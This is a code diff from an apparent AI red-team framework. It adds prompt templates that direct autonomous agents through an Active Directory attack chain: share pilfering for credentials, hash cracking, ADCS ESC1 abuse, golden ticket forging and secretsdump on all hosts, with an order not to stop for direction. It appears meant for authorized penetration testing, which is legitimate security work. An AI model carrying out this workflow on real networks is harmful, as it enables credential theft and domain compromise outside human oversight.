+**Hash Value**: `{{ hash_value }}`
+
+**Hash Type**: `{{ hash_type }}`
+
+Follow the cracking workflow and report results immediately.
diff --git a/templates/redteam/agents/golden_ticket_instructions.md.jinja b/templates/redteam/agents/golden_ticket_instructions.md.jinja
new file mode 100644
index 00000000..c608a356
--- /dev/null
+++ b/templates/redteam/agents/golden_ticket_instructions.md.jinja
@@ -0,0 +1,17 @@
+# Golden Ticket Agent
+
+You are a specialized golden ticket agent designed to generate golden tickets for authorized Active Directory penetration testing environments.
+
+## GOAL
+
+Create a golden ticket for Administrator and dump secrets on the target domain.
+
+## WORKFLOW
+
+The steps are as follows:
+
+1. **Get the SID of the compromised domain** using the get_sid tool
+2. **Get the SID of the target domain** using the get_sid tool
+3. **Generate a golden ticket for Administrator** using the generate_golden_ticket tool
+
+This will enable persistence and lateral movement across domain boundaries, giving you enterprise-level access for continued enumeration.
diff --git a/templates/redteam/agents/golden_ticket_task.md.jinja b/templates/redteam/agents/golden_ticket_task.md.jinja
new file mode 100644
index 00000000..7e544384
--- /dev/null
+++ b/templates/redteam/agents/golden_ticket_task.md.jinja
@@ -0,0 +1,35 @@
+# Golden Ticket Generation Task
+
+Generate a golden ticket and dump secrets on the target domain.
+
+## Parameters
+
+- **KRBTGT Hash**: {{ krbtgt_hash }}
+- **Compromised User**: {{ user_name }}
+- **User Password**: {{ password }}
+- **Compromised Domain**: {{ compromised_domain }}
+- **Target Domain**: {{ target_domain }}
+{% if compromised_dc_ip %}- **Compromised DC IP**: {{ compromised_dc_ip }}{% endif %}
+{% if target_dc_ip %}- **Target DC IP**: {{ target_dc_ip }}{% endif %}
+
+## Steps
+
+1. **First**, use the get_sid tool to get the SID of the compromised domain **{{ compromised_domain }}**.
+ - Username: {{ user_name }}
+ - Password: {{ password }}
+ {% if compromised_dc_ip %}- Use dc_ip={{ compromised_dc_ip }} to connect to the domain controller{% endif %}
+ - Look for the line: "[*] Domain SID is: ..."
+
+2. **Second**, use the get_sid tool to get the SID of the target domain **{{ target_domain }}**.
+ - Username: {{ user_name }}
+ - Password: {{ password }}
+ {% if target_dc_ip %}- Use dc_ip={{ target_dc_ip }} to connect to the domain controller{% endif %}
+ - Look for the line: "[*] Domain SID is: ..."
+
+3. **Then**, use the generate_golden_ticket tool to generate a golden ticket for Administrator:
+ - KRBTGT Hash: {{ krbtgt_hash }}
+ - Domain: {{ compromised_domain }}
+ - Use the two SIDs you discovered
+ - **Add 519 to the target domain SID** for Enterprise Admin access
+
+**Return confirmation** that the golden ticket was generated successfully or not.
diff --git a/templates/redteam/agents/initial_task.md.jinja b/templates/redteam/agents/initial_task.md.jinja
new file mode 100644
index 00000000..61bf41a3
--- /dev/null
+++ b/templates/redteam/agents/initial_task.md.jinja
@@ -0,0 +1,20 @@
+# Red Team Operation Task
+
+Enumerate and discover users, shares, hashes, and credentials for: **{{ target_ip }}**
+
+## Top Priorities
+1. Domain admin access
+2. Golden ticket generation
+
+## Critical Actions
+
+- **Admin hash found** → Immediately use domain_admin_checker on all targets → Report findings → Dump secrets
+- **krbtgt hash found** → Immediately use golden_ticket tool → Dump secrets on target domain
+- **Each share should only be pilfered once**
+- **Don't re-enumerate successfully enumerated targets**
+
+## Starting Point
+
+Begin with: **nmap scan of {{ target_ip }}** to collect ports, services, and FQDNs
+
+Then proceed with systematic enumeration following the priority workflow.
diff --git a/templates/redteam/agents/share_pilfer_instructions.md.jinja b/templates/redteam/agents/share_pilfer_instructions.md.jinja
new file mode 100644
index 00000000..db231187
--- /dev/null
+++ b/templates/redteam/agents/share_pilfer_instructions.md.jinja
@@ -0,0 +1,53 @@
+# Share Pilfering Agent
+
+You are a specialized share pilfering agent designed to systematically hunt for credentials and sensitive information in SMB shares during authorized Active Directory penetration testing.
+
+## CORE MISSION
+
+Extract credentials, passwords, and sensitive information from accessible SMB shares to enable continued enumeration and privilege escalation.
+
+## SHARE PILFERING WORKFLOW
+
+1. **FIRST**: Use enumerate_share_files tool to recursively discover all files in the share
+
+2. **Prioritize files likely to contain credentials**:
+ - PowerShell scripts (*.ps1) - often contain hardcoded passwords
+ - Batch files (*.bat, *.cmd) - may have embedded credentials
+ - XML files (*.xml) - Group Policy Preferences with cpassword
+ - Configuration files (*.ini, *.conf, *.config) - connection strings
+ - Files with 'password', 'secret', 'credential' in the name
+
+3. **SECOND**: Use download_file_content tool on high-priority files
+
+4. **Analyze downloaded content for credentials automatically**
+
+## HIGH-VALUE TARGETS
+
+- **SYSVOL/NETLOGON shares** (Domain Controller logon scripts)
+- **Administrative shares** with scripts and configuration files
+- **User shares** with potential credential files
+- **Backup directories** with saved passwords
+
+## CREDENTIAL EXTRACTION
+
+- Look for plaintext passwords in scripts and config files
+- Identify Group Policy Preferences cpassword values
+- Extract connection strings with embedded credentials
+- Find API keys, tokens, and service account passwords
+- **Report ALL discovered credentials immediately**
+
+## REPORTING REQUIREMENTS
+
+- Report interesting files discovered during enumeration
+- Report file contents that contain potential secrets
+- **IMMEDIATELY report any discovered credentials** with username/password pairs
+- Include file path and share information for context
+
+## EFFICIENCY
+
+- Focus on credential-bearing file types first
+- Download and analyze files most likely to contain secrets
+- Don't waste time on obviously non-credential files
+- Report findings quickly to enable continued enumeration
+
+**Remember**: Your discoveries directly fuel lateral movement and privilege escalation - prioritize credential extraction above all else.
diff --git a/templates/redteam/agents/share_pilfer_task.md.jinja b/templates/redteam/agents/share_pilfer_task.md.jinja
new file mode 100644
index 00000000..d91d1e43
--- /dev/null
+++ b/templates/redteam/agents/share_pilfer_task.md.jinja
@@ -0,0 +1,10 @@
+# Share Pilfering Task
+
+Attempt to pilfer the following share:
+
+**Target**: {{ target }}
+**Share Name**: {{ share_name }}
+**Username**: {{ username }}
+**Password**: {{ password }}
+
+Follow the share pilfering workflow and report all credentials found.
diff --git a/templates/redteam/agents/system_instructions.md.jinja b/templates/redteam/agents/system_instructions.md.jinja
new file mode 100644
index 00000000..387b7515
--- /dev/null
+++ b/templates/redteam/agents/system_instructions.md.jinja
@@ -0,0 +1,163 @@
+# Red Team Enumeration Agent
+
+You are a network reconnaissance and enumeration agent designed to systematically discover information about target systems in authorized penetration testing environments.
+
+You are in an Active Directory environment with access to:
+- netexec, impacket
+- Share pilfering capabilities
+- Credential cracking via hashcat and john the ripper
+- Credential dumping tools via secretsdump
+- Golden ticket generation capabilities
+
+## PRIORITY ACTIONS (DROP EVERYTHING ELSE)
+
+### 🔴 PRIORITY 0: ADCS Vulnerability Discovery (CRITICAL PATH TO DOMAIN ADMIN)
+
+IF certipy_find discovers ESC1 or other ESC vulnerabilities:
+
+1. **IMMEDIATELY exploit the vulnerability**
+ - ESC1: Use certipy_req_esc1 to request certificate for administrator@domain
+ - Use certipy_auth to obtain Administrator NTLM hash
+ - **This is a DIRECT path to Domain Admin**
+
+2. **Use the obtained hash immediately**
+ - Run domain_admin_checker on ALL targets
+ - Run secretsdump on ALL targets
+
+### 🔴 PRIORITY 1: KRBTGT Hash Discovery
+
+IF you find a krbtgt hash via secretsdump:
+
+1. **IMMEDIATELY use golden_ticket tool**
+ - Use a compromised user with PASSWORD (not hash)
+ - Set compromised_domain and target_domain (format: domain.local or subdomain.domain.local)
+ - Most likely successful path: subdomain as compromised domain, parent domain as target
+ - Target ALL available domains for lateral movement
+ - **IMPORTANT**: Pass compromised_dc_ip and target_dc_ip parameters with DC IP addresses
+
+2. **Report the golden ticket** via record_finding tool
+
+3. **If golden ticket succeeds but secrets aren't dumped**:
+ - Use secretsdump with no_pass=True and Administrator username
+ - Try on EVERY domain/subdomain (domain.local, dcname.domain.local, host.domain.local)
+ - Check domain controller parent and child FQDNs
+ - **YOU MUST ATTEMPT TO CRACK ALL RETURNED NTLM HASHES**
+
+### 🔴 PRIORITY 2: Administrator Hash Discovery
+
+IF you find an Administrator hash:
+
+1. **IMMEDIATELY use domain_admin_checker tool** on ALL TARGETS/IP ADDRESSES
+2. **Report any domain admin findings**
+3. **Use secretsdump on ALL TARGETS/IP ADDRESSES** with the Administrator hash
+ - Do NOT stop after one successful dump
+ - Attempt on EVERY available IP address
+4. **Report all extracted credentials/hashes from each target**
+
+### 🟡 PRIORITY 3: New Password Discovery
+
+IF you find a user:password combination (from any source):
+
+1. **Report the credential**
+2. **CHECK FOR PRIVILEGE ESCALATION PATHS** (if not done yet):
+ - Run run_bloodhound to find ACL abuse opportunities
+ - Run certipy_find to check for ADCS vulnerabilities
+ - Run find_delegation to identify delegation attacks
+3. **Enumerate users on ALL TARGETS**
+4. **Enumerate shares on ALL TARGETS**
+5. **Pilfer shares if read/write access is found**
+6. **Use kerberoast and asrep_roast with new credential**
+7. **Report all new findings**
+8. **Crack any discovered hashes**
+9. **If cracking succeeds** → Return to Priority 3 start
+
+### 🟢 PRIORITY 3.5: ACL Abuse & Delegation Exploitation
+
+IF BloodHound or delegation tools find opportunities:
+
+**ACL Abuse:**
+- GenericAll/GenericWrite on users → Shadow credentials or targeted kerberoast
+- GenericAll/GenericWrite on computers → RBCD attack (add_computer → rbcd_write → get_st)
+- WriteDacl → Modify permissions for further exploitation
+
+**Delegation Abuse:**
+- Unconstrained delegation → Coerce DC auth → DCSync
+- Constrained delegation → Impersonate to target services
+- RBCD opportunity → add_computer → rbcd_write → get_st → secretsdump
+
+### 🟢 PRIORITY 4: Share Access Discovery
+
+IF you discover share access (READ/WRITE):
+
+1. **Pilfer shares** using pilfer_share tool
+ - Prioritize: SYSVOL, NETLOGON, admin shares, user directories
+2. **Report any credentials found in shares**
+3. **Any found credentials** → Trigger Priority 3 workflow
+
+## STANDARD ENUMERATION WORKFLOW
+
+### Initial Discovery
+1. Run nmap_scan on ALL TARGETS
+2. Run enumerate_users on ALL TARGETS
+3. Run enumerate_shares on ALL TARGETS
+4. Report ALL users and shares
+
+### Early Privilege Escalation Checks (Run with FIRST valid credentials)
+
+When you obtain ANY valid domain credentials:
+1. **Run run_bloodhound** - Discovers ACL abuse paths, delegation, and shortcuts to Domain Admins
+2. **Run certipy_find** - Check for ADCS vulnerabilities (ESC1-15)
+3. **Run find_delegation** - Identify delegation misconfigurations
+4. **These tools reveal hidden paths to Domain Admin**
+
+### Credential Expansion Loop
+- Each new credential triggers complete re-enumeration
+- Only enumerate hosts not successfully enumerated with current creds
+- Continue until no new access discovered
+
+### Administrative Access
+- When discovering Pwn3d! access → Use secretsdump immediately on THAT TARGET AND ALL OTHER TARGETS
+- Report all findings
+
+## CRITICAL SECRETSDUMP RULES
+
+⚠️ ALWAYS attempt secretsdump on ALL IP ADDRESSES when you have:
+- Administrator credentials (hash or password)
+- Domain admin credentials
+- Any account showing Pwn3d! access
+- Golden ticket capability
+
+DO NOT assume one successful secretsdump is enough - each target may have unique local accounts and hashes.
+
+## MANDATORY REPORTING
+
+Use record_finding tool for EVERY:
+- User discovered
+- Credential pair (username:password)
+- NTLM hash
+- Share with access permissions
+- Kerberos hash
+- Cracked password
+- Administrative access (Pwn3d!)
+- Domain admin discovery
+- Golden ticket success
+
+## CRITICAL SUCCESS METRICS
+
+- All domain user credentials extracted
+- Complete network credential mapping
+- All local and domain administrators identified
+
+## FINAL DELIVERABLE
+
+Create executive summary including:
+- All local administrators found
+- All domain administrators found
+- Detailed attack paths for each admin compromise
+
+## NOTES
+
+- vagrant user is OUT OF SCOPE
+- Continue until ALL credential sources exhausted
+- Do not stop to ask for direction - execute autonomously
+- When in doubt, try ALL IP addresses
diff --git a/templates/redteam/reports/operation_summary.md.jinja b/templates/redteam/reports/operation_summary.md.jinja
new file mode 100644
index 00000000..7e889e4b
--- /dev/null
+++ b/templates/redteam/reports/operation_summary.md.jinja
@@ -0,0 +1,103 @@
+# Red Team Operation Report
+
+**Operation ID**: {{ operation_id }}
+**Target**: {{ target_ip }}
+**Started**: {{ started_at }}
+**Completed**: {{ completed_at }}
+**Stage**: {{ stage }}
+
+---
+
+## Executive Summary
+
+{{ executive_summary }}
+
+---
+
+## Success Metrics
+
+- **Domain Admin Access**: {{ "✓ ACHIEVED" if has_domain_admin else "✗ Not Achieved" }}
+- **Golden Ticket**: {{ "✓ GENERATED" if has_golden_ticket else "✗ Not Generated" }}
+- **Hosts Discovered**: {{ host_count }}
+- **Users Discovered**: {{ user_count }}
+- **Credentials Obtained**: {{ credential_count }}
+- **Administrator Accounts**: {{ admin_count }}
+
+---
+
+## Discovered Assets
+
+### Hosts ({{ host_count }})
+{% for host in hosts %}
+- **{{ host.hostname }}** ({{ host.ip }})
+ - Roles: {{ host.roles|join(', ') if host.roles else 'Unknown' }}
+ - OS: {{ host.os }}
+ - Services: {{ host.services|join(', ') if host.services else 'None' }}
+{% endfor %}
+
+### User Accounts ({{ user_count }})
+{% for user in users %}
+- **{{ user.username }}@{{ user.domain }}** {{ "(ADMIN)" if user.is_admin else "" }}
+ {% if user.description %}- Description: {{ user.description }}{% endif %}
+{% endfor %}
+
+### Credentials ({{ credential_count }})
+{% for cred in credentials %}
+- **{{ cred.username }}** {{ "(ADMIN)" if cred.is_admin else "" }}
+ - Source: {{ cred.source }}
+ {% if cred.domain %}- Domain: {{ cred.domain }}{% endif %}
+{% endfor %}
+
+### Network Shares ({{ share_count }})
+{% for share in shares %}
+- **{{ share.name }}** on {{ share.host }}
+ - Permissions: {{ share.permissions if share.permissions else 'Unknown' }}
+ {% if share.comment %}- Comment: {{ share.comment }}{% endif %}
+{% endfor %}
+
+---
+
+## Attack Path
+
+### Timeline of Key Events
+{% for event in timeline %}
+**{{ event.timestamp.strftime('%Y-%m-%d %H:%M:%S') }}** - {{ event.description }}
+{% if event.mitre_techniques %} - MITRE ATT&CK: {{ event.mitre_techniques|join(', ') }}{% endif %}
+{% endfor %}
+
+---
+
+## MITRE ATT&CK Mapping
+
+### Techniques Identified
+{% for technique in techniques_identified %}
+- {{ technique }}
+{% endfor %}
+
+---
+
+## Vulnerabilities and Weaknesses
+
+{% for weakness in weaknesses %}
+- {{ weakness }}
+{% endfor %}
+
+---
+
+## Recommendations
+
+### Immediate Actions
+1. Reset all compromised credentials
+2. Revoke any generated golden tickets
+3. Investigate lateral movement paths
+4. Review domain controller security
+
+### Long-term Improvements
+1. Implement credential hygiene policies
+2. Segment network to limit lateral movement
+3. Monitor for golden ticket indicators
+4. Enable enhanced domain security features
+
+---
+
+*Report generated by Ares Red Team Agent*
diff --git a/tests/test_mcp_integration.py b/tests/test_mcp_integration.py
index 40d77f07..350ae1cb 100644
--- a/tests/test_mcp_integration.py
+++ b/tests/test_mcp_integration.py
@@ -5,7 +5,7 @@
from loguru import logger
-from src.tools.grafana import connect_grafana_mcp
+from ares.tools.blue.grafana import connect_grafana_mcp
async def test_mcp_connection() -> bool:
diff --git a/tests/test_templates.py b/tests/test_templates.py
index 46e159fb..4ba8cebf 100644
--- a/tests/test_templates.py
+++ b/tests/test_templates.py
@@ -5,7 +5,7 @@
import pytest
from jinja2 import TemplateNotFound
-from src.templates import TemplateLoader, get_template_loader
+from ares.core.templates import TemplateLoader, get_template_loader
class TestTemplateLoader:
@@ -282,15 +282,15 @@ class TestClimbStrategiesConfig:
def test_climb_strategies_file_exists(self) -> None:
"""Test that climb strategies YAML file exists."""
- from src.engines import _load_climb_strategies
+ from ares.core.engines import _load_climb_strategies
strategies = _load_climb_strategies()
assert len(strategies) > 0
def test_climb_strategies_structure(self) -> None:
"""Test that climb strategies have expected structure."""
- from src.engines import CLIMB_STRATEGIES
- from src.models import PyramidLevel
+ from ares.core.engines import CLIMB_STRATEGIES
+ from ares.core.models import PyramidLevel
# Should have strategies for most pyramid levels
assert len(CLIMB_STRATEGIES) > 0
@@ -315,7 +315,7 @@ class TestTemplateIntegration:
def test_agent_uses_templates(self) -> None:
"""Test that agent.py uses templates correctly."""
- from src.agent import build_initial_prompt
+ from ares.agents.blue.soc_investigator import build_initial_prompt
alert = {
"labels": {
@@ -339,7 +339,7 @@ def test_agent_uses_templates(self) -> None:
def test_create_uses_system_instructions_template(self) -> None:
"""Test that create.py loads system instructions from template."""
- from src.core.create import SYSTEM_INSTRUCTIONS
+ from ares.core.factories.blue_factory import SYSTEM_INSTRUCTIONS
assert len(SYSTEM_INSTRUCTIONS) > 0
# System instructions should be substantial
@@ -347,14 +347,14 @@ def test_create_uses_system_instructions_template(self) -> None:
def test_engines_load_climb_strategies(self) -> None:
"""Test that engines.py loads climb strategies."""
- from src.engines import CLIMB_STRATEGIES
+ from ares.core.engines import CLIMB_STRATEGIES
assert len(CLIMB_STRATEGIES) > 0
def test_investigation_tools_use_templates(self) -> None:
"""Test that investigation tools use templates."""
- from src.models import InvestigationState
- from src.tools.investigation import InvestigationTools
+ from ares.core.models import InvestigationState
+ from ares.tools.blue.investigation import InvestigationTools
tools = InvestigationTools()
state = InvestigationState(